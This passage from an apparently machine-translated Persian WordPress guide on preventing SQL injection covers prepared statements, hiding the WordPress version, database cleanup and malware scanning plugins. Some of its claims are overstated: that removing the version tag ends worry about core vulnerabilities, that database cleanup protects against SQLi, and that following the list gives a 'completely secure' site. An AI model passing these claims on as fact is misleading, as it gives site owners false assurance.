پس از نصب و فعال سازی WP-Optimize، طیف کاملی از گزینه های بهینه سازی پایگاه داده را خواهید داشت. به جای اجرای دستی دستورات SQL، می توانید به سادگی کادر کنار یک تنظیم خاص را انتخاب کنید.

افزونه WP-Optimize وردپرس نصب و فعال شدافزونه WP-Optimize وردپرس نصب و فعال شد

این یکی از ساده ترین راه ها برای بهینه سازی جداول پایگاه داده و حذف داده های غیر ضروری مانند پست های سطل زباله است. به نوبه خود، این می تواند وب سایت شما را در برابر SQLi ایمن تر کند.

8. از بیانیه های آماده استفاده کنید

یک عبارت آماده شده الگویی برای SQL است که بعداً با پارامترهای متغیر سفارشی می شود. پس از اینکه پایگاه داده این الگو را دریافت کرد، طرحی را برای اجرای پرس و جو ذخیره می کند. بعداً داده ها به پارامترها متصل می شوند و عبارت را اجرا می کنند.

با نوشتن عبارات آماده شده، مهاجمان SQLi نمی توانند هدف پرس و جو را تغییر دهند. در اینجا یک بیانیه آماده شده ممکن است شبیه باشد:

$stmt = $mysqli->prepare(“SELECT * FROM users WHERE user = ? AND password = ?”);
$stmt->bind_param(“ss”, $username, $password);
$stmt->execute();

همانطور که می بینید، این به طور مستقیم داده های کاربر را جاسازی نمی کند. اگر به جای آن از یک پرس و جو پویا استفاده کنید، هکرها می توانند دستورات SQL را برای تغییر پرس و جو و دسترسی به اطلاعات حیاتی پایگاه داده وارد کنند.

با این حال، استفاده از یک دستور آماده می تواند از تزریق SQL جلوگیری کند. با از پیش کامپایل کردن یک پرس و جو و افزودن داده های کاربر بعداً، می توانید اطمینان حاصل کنید که پرس و جو اصلی نمی تواند تغییر کند.

9. نسخه وردپرس خود را مخفی کنید

اگر مردم بتوانند تشخیص دهند که از کدام نسخه وردپرس استفاده می کنید، می تواند وب سایت شما را در برابر حملات تزریق SQL آسیب پذیرتر کند. از آنجایی که هر نسخه حاوی مسائل امنیتی منحصر به فردی است، این اطلاعات می تواند به مهاجمان کمک کند راهی برای ورود به پایگاه داده شما پیدا کنند.

به طور معمول، نسخه وردپرس شما در هدر وب سایت شما نمایش داده می شود:

<meta name="generator" content="WordPress 6.0.1" />

با پنهان کردن این اطلاعات، می توانید سوء استفاده از سایت شما را برای مهاجمان SQLi دشوارتر کنید.

  1. شما باید به فایل های سایت خود دسترسی داشته باشید و به آن بروید public_html → wp-content → themes.
پوشه تم ها در مدیریت فایلپوشه تم ها در مدیریت فایل
  1. موضوعی را که در حال حاضر استفاده می کنید انتخاب کنید. در این پوشه، را باز کنید functions.php فایل.
پوشه wp-content on مدیر فایل.  فایل Functions.php هایلایت شده استپوشه wp-content on مدیر فایل.  فایل Functions.php هایلایت شده است
  1. کد زیر را کپی و پیست کنید:
remove_action(‘wp_head’, ‘wp_generator’);
  1. تغییرات خود را ذخیره کنید.

با این کار شماره نسخه وردپرس شما از هدر HTTP حذف می شود. حالا دیگر لازم نیست نگران پیدا کردن آسیب‌پذیری توسط هکرها در نرم‌افزار اصلی خود باشید!

چگونه یک SQL Injection را از وب سایت خود حذف کنید

حتی پس از انجام تمام اقدامات احتیاطی لازم، وب سایت شما همچنان ممکن است قربانی یک حمله تزریق SQL شود. این می تواند چندین پیامد داشته باشد:

  • گوگل وب سایت شما را در لیست سیاه قرار می دهد
  • مشکلات عملکرد مانند کندی page سرعت
  • کد شکسته ظاهر می شود روی صفحات وب
  • پاپ آپ های اسپم
  • محتوا به وب سایت دیگری هدایت می شود
  • هرزنامه در نتایج جستجوی سایت شما

هنگامی که این اتفاق می افتد، می توانید از چند روش مختلف برای پاکسازی سایت خود استفاده کنید. اگر در ویرایش فایل های سایت تجربه دارید، می توانید بدافزار را به صورت دستی حذف کنید. با این حال، شما همچنین می توانید یک پلاگین برای انجام خودکار این کار نصب کنید.

امنیت Wordfence یک افزونه رایگان وردپرس است که با یک اسکنر بدافزار همراه است. فایل‌ها، تم‌ها و افزونه‌های شما را ارزیابی می‌کند و پس از یافتن بدافزار، تغییر مسیرهای مخرب یا تزریق کد به شما هشدار می‌دهد.

وب بنر افزونه Wordfence Security وردپرسوب بنر افزونه Wordfence Security وردپرس

علاوه بر این، Wordfence Security یک فایروال وردپرس را ارائه می دهد. پس از حذف هر گونه مشکل از تزریق SQL، فایروال می تواند به طور موثر از نقض امنیت در آینده جلوگیری کند.

همچنین ایده خوبی است که با شرکت میزبان خود تماس بگیرید. اگر از یک برنامه میزبانی مشترک استفاده می کنید، تزریق SQL می تواند سایت های دیگر را تحت تاثیر قرار دهد روی سرور شما

نتیجه

مهاجمان SQLi می توانند از دستورات مخرب SQL برای ورود و بهره برداری از پایگاه داده شما استفاده کنند. اگرچه این یک مشکل رایج برای وب سایت های وردپرسی است، اما می توانید به راحتی هر بدافزار تزریق شده را حذف کنید. با این حال، می توانید اقدامات امنیتی را برای جلوگیری از حملات آینده و محافظت از داده های خود اعمال کنید.

برای جمع بندی، در اینجا روش جلوگیری از تزریق SQL وردپرس آورده شده است:

  1. با Cloudflare یک فایروال پیاده سازی کنید.
  2. پیشوند پایگاه داده وردپرس را تغییر دهید.
  3. اعتبار سنجی ورودی های کاربر
  4. به روز رسانی های مکرر را انجام دهید.
  5. یک افزونه تزریق SQL مانند Sucuri Security نصب کنید.
  6. محدود کردن امتیازات دسترسی کاربر
  7. عملکرد غیر ضروری پایگاه داده را با WP-Optimize حذف کنید.
  8. از اظهارات آماده استفاده کنید.
  9. نسخه وردپرس خود را مخفی کنید

اکنون باید یک وب سایت کاملا امن داشته باشید که در برابر حملات تزریق SQL آسیب پذیر نباشد!